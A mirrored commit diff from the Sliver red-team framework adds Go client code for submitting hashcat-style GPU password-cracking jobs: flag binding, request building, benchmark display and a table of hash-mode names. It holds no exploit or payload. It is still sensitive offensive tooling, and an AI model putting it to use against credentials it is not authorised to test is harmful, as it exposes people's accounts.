mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
28
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b7566a3b09 | ||
|
|
b889e2eb6f | ||
|
|
4466ace279 | ||
|
|
2b65089b27 | ||
|
|
87d5fd53a8 | ||
|
|
cf79a2d284 | ||
|
|
6d0276ff67 | ||
|
|
9b001ab88e | ||
|
|
503218f3f4 | ||
|
|
495dce0987 | ||
|
|
a7ff35c229 | ||
|
|
162fc4fb8a | ||
|
|
636ea0a9b2 | ||
|
|
84ed9bc4e7 | ||
|
|
b985d8ff9f | ||
|
|
5a43705e1d | ||
|
|
76af248850 | ||
|
|
628757250e | ||
|
|
25d242230b | ||
|
|
b4345226c1 | ||
|
|
c9f4970e4b | ||
|
|
e72fa3dbd0 | ||
|
|
2e93ce5684 | ||
|
|
828838cddf | ||
|
|
16c1dc21fd | ||
|
|
33c656d082 | ||
|
|
99a44e340f | ||
|
|
de5fa3458b |
No files matched your search
@@ -24,6 +24,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
bindCrackFlags(f)
|
||||
})
|
||||
|
||||
crackStationsCmd := &cobra.Command{
|
||||
@@ -34,6 +35,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
CrackStationsCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, crackStationsCmd, func(f *pflag.FlagSet) {
|
||||
f.Bool("show-benchmarks", false, "show benchmark rates for crackstations")
|
||||
})
|
||||
crackCmd.AddCommand(crackStationsCmd)
|
||||
|
||||
wordlistsCmd := &cobra.Command{
|
||||
|
||||
@@ -0,0 +1,326 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
func shouldRunCrack(cmd *cobra.Command, args []string) bool {
|
||||
if len(args) > 0 {
|
||||
return true
|
||||
}
|
||||
|
||||
hasFlag := false
|
||||
cmd.Flags().VisitAll(func(flag *pflag.Flag) {
|
||||
if flag.Changed && flag.Name != "timeout" {
|
||||
hasFlag = true
|
||||
}
|
||||
})
|
||||
return hasFlag
|
||||
}
|
||||
|
||||
func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackCommand, error) {
|
||||
flags := cmd.Flags()
|
||||
req := &clientpb.CrackCommand{}
|
||||
|
||||
if flags.Changed("attack-mode") {
|
||||
raw, _ := flags.GetString("attack-mode")
|
||||
attackMode, err := parseCrackAttackMode(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.AttackMode = attackMode
|
||||
}
|
||||
|
||||
if flags.Changed("hash-type") {
|
||||
raw, _ := flags.GetString("hash-type")
|
||||
hashType, err := parseHashType(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.HashType = hashType
|
||||
}
|
||||
|
||||
hashes, _ := flags.GetStringSlice("hash")
|
||||
if len(args) > 0 {
|
||||
hashes = append(hashes, args...)
|
||||
}
|
||||
req.Hashes = hashes
|
||||
|
||||
req.Quiet, _ = flags.GetBool("quiet")
|
||||
req.HexCharset, _ = flags.GetBool("hex-charset")
|
||||
req.HexSalt, _ = flags.GetBool("hex-salt")
|
||||
req.HexWordlist, _ = flags.GetBool("hex-wordlist")
|
||||
req.Force, _ = flags.GetBool("force")
|
||||
req.DeprecatedCheckDisable, _ = flags.GetBool("deprecated-check-disable")
|
||||
req.Status, _ = flags.GetBool("status")
|
||||
req.StatusJSON, _ = flags.GetBool("status-json")
|
||||
req.StatusTimer, _ = flags.GetUint32("status-timer")
|
||||
req.StdinTimeoutAbort, _ = flags.GetUint32("stdin-timeout-abort")
|
||||
req.MachineReadable, _ = flags.GetBool("machine-readable")
|
||||
req.KeepGuessing, _ = flags.GetBool("keep-guessing")
|
||||
req.SelfTestDisable, _ = flags.GetBool("self-test-disable")
|
||||
req.Loopback, _ = flags.GetBool("loopback")
|
||||
|
||||
if raw, _ := flags.GetString("markov-hcstat2"); raw != "" {
|
||||
req.MarkovHcstat2 = []byte(raw)
|
||||
}
|
||||
req.MarkovDisable, _ = flags.GetBool("markov-disable")
|
||||
req.MarkovClassic, _ = flags.GetBool("markov-classic")
|
||||
req.MarkovInverse, _ = flags.GetBool("markov-inverse")
|
||||
req.MarkovThreshold, _ = flags.GetUint32("markov-threshold")
|
||||
req.Runtime, _ = flags.GetUint32("runtime")
|
||||
req.Session, _ = flags.GetString("session")
|
||||
req.Restore, _ = flags.GetBool("restore")
|
||||
req.RestoreDisable, _ = flags.GetBool("restore-disable")
|
||||
if raw, _ := flags.GetString("restore-file"); raw != "" {
|
||||
req.RestoreFile = []byte(raw)
|
||||
}
|
||||
|
||||
if formats, _ := flags.GetStringSlice("outfile-format"); len(formats) > 0 {
|
||||
for _, raw := range formats {
|
||||
format, err := parseCrackOutfileFormat(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.OutfileFormat = append(req.OutfileFormat, format)
|
||||
}
|
||||
}
|
||||
req.OutfileAutohexDisable, _ = flags.GetBool("outfile-autohex-disable")
|
||||
req.OutfileCheckTimer, _ = flags.GetUint32("outfile-check-timer")
|
||||
req.WordlistAutohexDisable, _ = flags.GetBool("wordlist-autohex-disable")
|
||||
req.Separator, _ = flags.GetString("separator")
|
||||
req.Stdout, _ = flags.GetBool("stdout")
|
||||
req.Show, _ = flags.GetBool("show")
|
||||
req.Left, _ = flags.GetBool("left")
|
||||
req.Username, _ = flags.GetBool("username")
|
||||
req.Remove, _ = flags.GetBool("remove")
|
||||
req.RemoveTimer, _ = flags.GetUint32("remove-timer")
|
||||
req.PotfileDisable, _ = flags.GetBool("potfile-disable")
|
||||
if raw, _ := flags.GetString("potfile"); raw != "" {
|
||||
req.Potfile = []byte(raw)
|
||||
}
|
||||
|
||||
if flags.Changed("encoding-from") {
|
||||
raw, _ := flags.GetString("encoding-from")
|
||||
enc, err := parseCrackEncoding(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.EncodingFrom = enc
|
||||
}
|
||||
if flags.Changed("encoding-to") {
|
||||
raw, _ := flags.GetString("encoding-to")
|
||||
enc, err := parseCrackEncoding(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.EncodingTo = enc
|
||||
}
|
||||
|
||||
req.DebugMode, _ = flags.GetUint32("debug-mode")
|
||||
req.LogfileDisable, _ = flags.GetBool("logfile-disable")
|
||||
req.HccapxMessagePair, _ = flags.GetUint32("hccapx-message-pair")
|
||||
req.NonceErrorCorrections, _ = flags.GetUint32("nonce-error-corrections")
|
||||
if raw, _ := flags.GetString("keyboard-layout-mapping"); raw != "" {
|
||||
req.KeyboardLayoutMapping = []byte(raw)
|
||||
}
|
||||
|
||||
req.Benchmark, _ = flags.GetBool("benchmark")
|
||||
req.BenchmarkAll, _ = flags.GetBool("benchmark-all")
|
||||
req.SpeedOnly, _ = flags.GetBool("speed-only")
|
||||
req.ProgressOnly, _ = flags.GetBool("progress-only")
|
||||
req.SegmentSize, _ = flags.GetUint32("segment-size")
|
||||
req.BitmapMin, _ = flags.GetUint32("bitmap-min")
|
||||
req.BitmapMax, _ = flags.GetUint32("bitmap-max")
|
||||
req.CPUAffinity = uintSliceToUint32(flags, "cpu-affinity")
|
||||
req.HookThreads, _ = flags.GetUint32("hook-threads")
|
||||
req.HashInfo, _ = flags.GetBool("hash-info")
|
||||
req.BackendIgnoreCUDA, _ = flags.GetBool("backend-ignore-cuda")
|
||||
req.BackendIgnoreHip, _ = flags.GetBool("backend-ignore-hip")
|
||||
req.BackendIgnoreMetal, _ = flags.GetBool("backend-ignore-metal")
|
||||
req.BackendIgnoreOpenCL, _ = flags.GetBool("backend-ignore-opencl")
|
||||
req.BackendInfo, _ = flags.GetBool("backend-info")
|
||||
req.BackendDevices = uintSliceToUint32(flags, "backend-devices")
|
||||
req.OpenCLDeviceTypes = uintSliceToUint32(flags, "opencl-device-types")
|
||||
req.OptimizedKernelEnable, _ = flags.GetBool("optimized-kernel-enable")
|
||||
req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disabled")
|
||||
|
||||
if flags.Changed("workload-profile") {
|
||||
raw, _ := flags.GetString("workload-profile")
|
||||
profile, err := parseCrackWorkloadProfile(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.WorkloadProfile = profile
|
||||
}
|
||||
|
||||
req.KernelAccel, _ = flags.GetUint32("kernel-accel")
|
||||
req.KernelLoops, _ = flags.GetUint32("kernel-loops")
|
||||
req.KernelThreads, _ = flags.GetUint32("kernel-threads")
|
||||
req.BackendVectorWidth, _ = flags.GetUint32("backend-vector-width")
|
||||
req.SpinDamp, _ = flags.GetUint32("spin-damp")
|
||||
req.HwmonDisable, _ = flags.GetBool("hwmon-disable")
|
||||
req.HwmonTempAbort, _ = flags.GetUint32("hwmon-temp-abort")
|
||||
req.ScryptTMTO, _ = flags.GetUint32("scrypt-tmto")
|
||||
req.Skip, _ = flags.GetUint64("skip")
|
||||
req.Limit, _ = flags.GetUint64("limit")
|
||||
req.Keyspace, _ = flags.GetBool("keyspace")
|
||||
|
||||
if raw, _ := flags.GetString("rules-file"); raw != "" {
|
||||
req.RulesFile = []byte(raw)
|
||||
}
|
||||
req.GenerateRules, _ = flags.GetUint32("generate-rules")
|
||||
req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-fun-min")
|
||||
req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-fun-max")
|
||||
req.GenerateRulesFuncSel, _ = flags.GetString("generate-rules-func-sel")
|
||||
req.GenerateRulesSeed, _ = flags.GetInt32("generate-rules-seed")
|
||||
req.CustomCharset1, _ = flags.GetString("custom-charset1")
|
||||
req.CustomCharset2, _ = flags.GetString("custom-charset2")
|
||||
req.CustomCharset3, _ = flags.GetString("custom-charset3")
|
||||
req.CustomCharset4, _ = flags.GetString("custom-charset4")
|
||||
req.Identify, _ = flags.GetString("identify")
|
||||
req.Increment, _ = flags.GetBool("increment")
|
||||
req.IncrementMin, _ = flags.GetUint32("increment-min")
|
||||
req.IncrementMax, _ = flags.GetUint32("increment-max")
|
||||
req.SlowCandidates, _ = flags.GetBool("slow-candidates")
|
||||
req.BrainServer, _ = flags.GetBool("brain-server")
|
||||
req.BrainServerTimer, _ = flags.GetUint32("brain-server-timer")
|
||||
req.BrainClient, _ = flags.GetBool("brain-client")
|
||||
req.BrainClientFeatures, _ = flags.GetString("brain-client-features")
|
||||
req.BrainHost, _ = flags.GetString("brain-host")
|
||||
req.BrainPort, _ = flags.GetUint32("brain-port")
|
||||
req.BrainPassword, _ = flags.GetString("brain-password")
|
||||
req.BrainSession, _ = flags.GetString("brain-session")
|
||||
req.BrainSessionWhitelist, _ = flags.GetString("brain-session-whitelist")
|
||||
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func uintSliceToUint32(flags *pflag.FlagSet, name string) []uint32 {
|
||||
values, _ := flags.GetUintSlice(name)
|
||||
if len(values) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]uint32, len(values))
|
||||
for i, value := range values {
|
||||
out[i] = uint32(value)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func parseCrackAttackMode(raw string) (clientpb.CrackAttackMode, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackAttackMode_STRAIGHT, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackAttackMode(numeric), nil
|
||||
}
|
||||
|
||||
normalized := strings.ToLower(strings.TrimSpace(raw))
|
||||
normalized = strings.NewReplacer("-", "_", " ", "_").Replace(normalized)
|
||||
switch normalized {
|
||||
case "straight":
|
||||
return clientpb.CrackAttackMode_STRAIGHT, nil
|
||||
case "combination":
|
||||
return clientpb.CrackAttackMode_COMBINATION, nil
|
||||
case "bruteforce", "brute_force", "brute-force":
|
||||
return clientpb.CrackAttackMode_BRUTEFORCE, nil
|
||||
case "hybrid_wordlist_mask":
|
||||
return clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK, nil
|
||||
case "hybrid_mask_wordlist":
|
||||
return clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST, nil
|
||||
case "association":
|
||||
return clientpb.CrackAttackMode_ASSOCIATION, nil
|
||||
case "no_attack", "none":
|
||||
return clientpb.CrackAttackMode_NO_ATTACK, nil
|
||||
default:
|
||||
return clientpb.CrackAttackMode_STRAIGHT, fmt.Errorf("unknown attack mode: %s", raw)
|
||||
}
|
||||
}
|
||||
|
||||
func parseHashType(raw string) (clientpb.HashType, error) {
|
||||
if raw == "" {
|
||||
return clientpb.HashType_MD5, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.HashType(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.HashType_value[key]; ok {
|
||||
return clientpb.HashType(value), nil
|
||||
}
|
||||
return clientpb.HashType_MD5, fmt.Errorf("unknown hash type: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackEncoding(raw string) (clientpb.CrackEncoding, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackEncoding_INVALID_ENCODING, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackEncoding(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackEncoding_value[key]; ok {
|
||||
return clientpb.CrackEncoding(value), nil
|
||||
}
|
||||
return clientpb.CrackEncoding_INVALID_ENCODING, fmt.Errorf("unknown encoding: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackOutfileFormat(raw string) (clientpb.CrackOutfileFormat, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackOutfileFormat_INVALID_FORMAT, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackOutfileFormat(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackOutfileFormat_value[key]; ok {
|
||||
return clientpb.CrackOutfileFormat(value), nil
|
||||
}
|
||||
return clientpb.CrackOutfileFormat_INVALID_FORMAT, fmt.Errorf("unknown outfile format: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackWorkloadProfile(raw string) (clientpb.CrackWorkloadProfile, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackWorkloadProfile(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackWorkloadProfile_value[key]; ok {
|
||||
return clientpb.CrackWorkloadProfile(value), nil
|
||||
}
|
||||
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, fmt.Errorf("unknown workload profile: %s", raw)
|
||||
}
|
||||
|
||||
func normalizeEnumKey(value string) string {
|
||||
if value == "" {
|
||||
return ""
|
||||
}
|
||||
var builder strings.Builder
|
||||
builder.Grow(len(value))
|
||||
underscore := false
|
||||
for i := 0; i < len(value); i++ {
|
||||
ch := value[i]
|
||||
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
|
||||
if ch >= 'a' && ch <= 'z' {
|
||||
ch -= 'a' - 'A'
|
||||
}
|
||||
builder.WriteByte(ch)
|
||||
underscore = false
|
||||
continue
|
||||
}
|
||||
if !underscore {
|
||||
builder.WriteByte('_')
|
||||
underscore = true
|
||||
}
|
||||
}
|
||||
return strings.Trim(builder.String(), "_")
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
package crack
|
||||
|
||||
import "github.com/spf13/pflag"
|
||||
|
||||
func bindCrackFlags(f *pflag.FlagSet) {
|
||||
f.String("attack-mode", "", "crack attack mode (straight, combination, bruteforce, hybrid-wordlist-mask, hybrid-mask-wordlist, association, no-attack, or numeric)")
|
||||
f.String("hash-type", "", "hashcat hash type (number or enum name)")
|
||||
f.StringSlice("hash", nil, "hashes to crack (repeatable)")
|
||||
f.Bool("quiet", false, "quiet mode")
|
||||
f.Bool("hex-charset", false, "treat charset as hex")
|
||||
f.Bool("hex-salt", false, "treat salt as hex")
|
||||
f.Bool("hex-wordlist", false, "treat wordlist as hex")
|
||||
f.Bool("force", false, "ignore warnings")
|
||||
f.Bool("deprecated-check-disable", false, "disable deprecated check")
|
||||
f.Bool("status", false, "enable status")
|
||||
f.Bool("status-json", false, "emit status in JSON")
|
||||
f.Uint32("status-timer", 0, "status timer interval (seconds)")
|
||||
f.Uint32("stdin-timeout-abort", 0, "abort after stdin timeout (seconds)")
|
||||
f.Bool("machine-readable", false, "machine readable output")
|
||||
f.Bool("keep-guessing", false, "keep guessing")
|
||||
f.Bool("self-test-disable", false, "disable self-test")
|
||||
f.Bool("loopback", false, "use loopback mode")
|
||||
f.String("markov-hcstat2", "", "markov hcstat2 filename or identifier")
|
||||
f.Bool("markov-disable", false, "disable markov mode")
|
||||
f.Bool("markov-classic", false, "use classic markov")
|
||||
f.Bool("markov-inverse", false, "use inverse markov")
|
||||
f.Uint32("markov-threshold", 0, "markov threshold")
|
||||
f.Uint32("runtime", 0, "runtime in seconds")
|
||||
f.String("session", "", "session name")
|
||||
f.Bool("restore", false, "restore session")
|
||||
f.Bool("restore-disable", false, "disable restore")
|
||||
f.String("restore-file", "", "restore file path or identifier")
|
||||
f.StringSlice("outfile-format", nil, "outfile formats (hash-salt, plain, hex-plain, crack-pos, timestamp-absolute, timestamp-relative, or numeric)")
|
||||
f.Bool("outfile-autohex-disable", false, "disable outfile autohex")
|
||||
f.Uint32("outfile-check-timer", 0, "outfile check timer interval (seconds)")
|
||||
f.Bool("wordlist-autohex-disable", false, "disable wordlist autohex")
|
||||
f.String("separator", "", "separator character")
|
||||
f.Bool("stdout", false, "stdout output")
|
||||
f.Bool("show", false, "show cracked hashes")
|
||||
f.Bool("left", false, "show uncracked hashes")
|
||||
f.Bool("username", false, "enable username handling")
|
||||
f.Bool("remove", false, "remove cracked hashes")
|
||||
f.Uint32("remove-timer", 0, "remove timer interval (seconds)")
|
||||
f.Bool("potfile-disable", false, "disable potfile")
|
||||
f.String("potfile", "", "potfile path or identifier")
|
||||
f.String("encoding-from", "", "input encoding (iso-8859-15, utf-32le, or numeric)")
|
||||
f.String("encoding-to", "", "output encoding (iso-8859-15, utf-32le, or numeric)")
|
||||
f.Uint32("debug-mode", 0, "debug mode mask")
|
||||
f.Bool("logfile-disable", false, "disable logfile")
|
||||
f.Uint32("hccapx-message-pair", 0, "hccapx message pair")
|
||||
f.Uint32("nonce-error-corrections", 0, "nonce error corrections")
|
||||
f.String("keyboard-layout-mapping", "", "keyboard layout mapping file or identifier")
|
||||
f.Bool("benchmark", false, "run benchmark")
|
||||
f.Bool("benchmark-all", false, "run full benchmark")
|
||||
f.Bool("speed-only", false, "show speed only")
|
||||
f.Bool("progress-only", false, "show progress only")
|
||||
f.Uint32("segment-size", 0, "segment size")
|
||||
f.Uint32("bitmap-min", 0, "bitmap min")
|
||||
f.Uint32("bitmap-max", 0, "bitmap max")
|
||||
f.UintSlice("cpu-affinity", nil, "CPU affinity list")
|
||||
f.Uint32("hook-threads", 0, "hook threads")
|
||||
f.Bool("hash-info", false, "show hash information")
|
||||
f.Bool("backend-ignore-cuda", false, "ignore CUDA backend")
|
||||
f.Bool("backend-ignore-hip", false, "ignore HIP backend")
|
||||
f.Bool("backend-ignore-metal", false, "ignore Metal backend")
|
||||
f.Bool("backend-ignore-opencl", false, "ignore OpenCL backend")
|
||||
f.Bool("backend-info", false, "show backend info")
|
||||
f.UintSlice("backend-devices", nil, "backend device IDs")
|
||||
f.UintSlice("opencl-device-types", nil, "OpenCL device types")
|
||||
f.Bool("optimized-kernel-enable", false, "enable optimized kernels")
|
||||
f.Bool("multiply-accel-disabled", false, "disable multiply accel")
|
||||
f.String("workload-profile", "", "workload profile (low, default, high, nightmare, or numeric)")
|
||||
f.Uint32("kernel-accel", 0, "kernel acceleration")
|
||||
f.Uint32("kernel-loops", 0, "kernel loops")
|
||||
f.Uint32("kernel-threads", 0, "kernel threads")
|
||||
f.Uint32("backend-vector-width", 0, "backend vector width")
|
||||
f.Uint32("spin-damp", 0, "spin damp")
|
||||
f.Bool("hwmon-disable", false, "disable hardware monitoring")
|
||||
f.Uint32("hwmon-temp-abort", 0, "hardware monitor temperature abort")
|
||||
f.Uint32("scrypt-tmto", 0, "scrypt tmto")
|
||||
f.Uint64("skip", 0, "skip count")
|
||||
f.Uint64("limit", 0, "limit count")
|
||||
f.Bool("keyspace", false, "show keyspace")
|
||||
f.String("rules-file", "", "rules file path or identifier")
|
||||
f.Uint32("generate-rules", 0, "generate rules")
|
||||
f.Uint32("generate-rules-fun-min", 0, "generate rules function min")
|
||||
f.Uint32("generate-rules-fun-max", 0, "generate rules function max")
|
||||
f.String("generate-rules-func-sel", "", "generate rules function selection")
|
||||
f.Int32("generate-rules-seed", 0, "generate rules seed")
|
||||
f.String("custom-charset1", "", "custom charset 1")
|
||||
f.String("custom-charset2", "", "custom charset 2")
|
||||
f.String("custom-charset3", "", "custom charset 3")
|
||||
f.String("custom-charset4", "", "custom charset 4")
|
||||
f.String("identify", "", "identify hash")
|
||||
f.Bool("increment", false, "incremental mode")
|
||||
f.Uint32("increment-min", 0, "increment min")
|
||||
f.Uint32("increment-max", 0, "increment max")
|
||||
f.Bool("slow-candidates", false, "slow candidates")
|
||||
f.Bool("brain-server", false, "brain server mode")
|
||||
f.Uint32("brain-server-timer", 0, "brain server timer")
|
||||
f.Bool("brain-client", false, "brain client mode")
|
||||
f.String("brain-client-features", "", "brain client features")
|
||||
f.String("brain-host", "", "brain host")
|
||||
f.Uint32("brain-port", 0, "brain port")
|
||||
f.String("brain-password", "", "brain password")
|
||||
f.String("brain-session", "", "brain session")
|
||||
f.String("brain-session-whitelist", "", "brain session whitelist")
|
||||
}
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -34,6 +35,37 @@ import (
|
||||
|
||||
// CrackCmd - GPU password cracking interface
|
||||
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if shouldRunCrack(cmd, args) {
|
||||
crackCmd, err := buildCrackCommand(cmd, args)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
|
||||
ctx := context.Background()
|
||||
if timeoutSeconds > 0 {
|
||||
var cancel context.CancelFunc
|
||||
ctx, cancel = context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
defer cancel()
|
||||
}
|
||||
|
||||
resp, err := con.Rpc.Crack(ctx, crackCmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if resp == nil || resp.Job == nil {
|
||||
con.PrintInfof("Crack request submitted\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Crack job %s created (status: %s)\n", resp.Job.ID, resp.Job.Status.String())
|
||||
if resp.Job.Err != "" {
|
||||
con.PrintErrorf("Crack job error: %s\n", resp.Job.Err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if !AreCrackersOnline(con) {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
@@ -64,10 +96,11 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
showBenchmarks, _ := cmd.Flags().GetBool("show-benchmarks")
|
||||
if len(crackers.Crackstations) == 0 {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
PrintCrackers(crackers.Crackstations, con)
|
||||
PrintCrackers(crackers.Crackstations, con, showBenchmarks)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -83,12 +116,12 @@ func AreCrackersOnline(con *console.SliverClient) bool {
|
||||
return len(crackers.Crackstations) > 0
|
||||
}
|
||||
|
||||
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) {
|
||||
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient, showBenchmarks bool) {
|
||||
sort.Slice(crackers, func(i, j int) bool {
|
||||
return crackers[i].Name < crackers[j].Name
|
||||
})
|
||||
for index, cracker := range crackers {
|
||||
printCracker(cracker, index, con)
|
||||
printCracker(cracker, index, con, showBenchmarks)
|
||||
if index < len(crackers)-1 {
|
||||
con.Println()
|
||||
con.Println()
|
||||
@@ -96,7 +129,7 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient)
|
||||
}
|
||||
}
|
||||
|
||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) {
|
||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
|
||||
@@ -131,8 +164,10 @@ func printCracker(cracker *clientpb.Crackstation, index int, con *console.Sliver
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
con.Println()
|
||||
printBenchmarks(cracker, con)
|
||||
if showBenchmarks {
|
||||
con.Println()
|
||||
printBenchmarks(cracker, con)
|
||||
}
|
||||
}
|
||||
|
||||
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
|
||||
@@ -140,9 +175,17 @@ func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient)
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
|
||||
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
|
||||
tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
|
||||
for hashType, speed := range cracker.Benchmarks {
|
||||
tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
|
||||
tw.AppendHeader(table.Row{"Hash Type", "Rate"})
|
||||
if len(cracker.Benchmarks) == 0 {
|
||||
tw.AppendRow(table.Row{"No benchmarks reported", "-"})
|
||||
} else {
|
||||
for hashType, speed := range cracker.Benchmarks {
|
||||
name, ok := hashcatHashTypeName(hashType)
|
||||
if !ok {
|
||||
name = clientpb.HashType(hashType).String()
|
||||
}
|
||||
tw.AppendRow(table.Row{name, humanizeHashRate(speed)})
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,419 @@
|
||||
package crack
|
||||
|
||||
import "fmt"
|
||||
|
||||
// Hashcat mode names sourced from client/credentials/EXAMPLES.md.
|
||||
var hashcatHashTypes = map[int32]string{
|
||||
0: "MD5",
|
||||
10: "md5($pass.$salt)",
|
||||
11: "Joomla < 2.5.18",
|
||||
12: "PostgreSQL",
|
||||
20: "md5($salt.$pass)",
|
||||
21: "osCommerce, xt:Commerce",
|
||||
22: "Juniper NetScreen/SSG (ScreenOS)",
|
||||
23: "Skype",
|
||||
24: "SolarWinds Serv-U",
|
||||
30: "md5(utf16le($pass).$salt)",
|
||||
40: "md5($salt.utf16le($pass))",
|
||||
50: "HMAC-MD5 (key = $pass)",
|
||||
60: "HMAC-MD5 (key = $salt)",
|
||||
70: "md5(utf16le($pass))",
|
||||
100: "SHA1",
|
||||
101: "nsldap, SHA-1(Base64), Netscape LDAP SHA",
|
||||
110: "sha1($pass.$salt)",
|
||||
111: "nsldaps, SSHA-1(Base64), Netscape LDAP SSHA",
|
||||
112: "Oracle S: Type (Oracle 11+)",
|
||||
120: "sha1($salt.$pass)",
|
||||
121: "SMF (Simple Machines Forum) > v1.1",
|
||||
122: "macOS v10.4, macOS v10.5, macOS v10.6",
|
||||
123: "EPi",
|
||||
124: "Django (SHA-1)",
|
||||
125: "ArubaOS",
|
||||
130: "sha1(utf16le($pass).$salt)",
|
||||
131: "MSSQL (2000)",
|
||||
132: "MSSQL (2005)",
|
||||
133: "PeopleSoft",
|
||||
140: "sha1($salt.utf16le($pass))",
|
||||
141: "Episerver 6.x < .NET 4",
|
||||
150: "HMAC-SHA1 (key = $pass)",
|
||||
160: "HMAC-SHA1 (key = $salt)",
|
||||
170: "sha1(utf16le($pass))",
|
||||
190: "sha1(LinkedIn)",
|
||||
200: "MySQL323",
|
||||
300: "MySQL4.1/MySQL5",
|
||||
400: "phpass, phpBB3 (MD5)",
|
||||
500: "md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)",
|
||||
501: "Juniper IVE",
|
||||
600: "BLAKE2b-512",
|
||||
900: "MD4",
|
||||
1000: "NTLM",
|
||||
1100: "Domain Cached Credentials (DCC), MS Cache",
|
||||
1300: "SHA2-224",
|
||||
1400: "SHA2-256",
|
||||
1410: "sha256($pass.$salt)",
|
||||
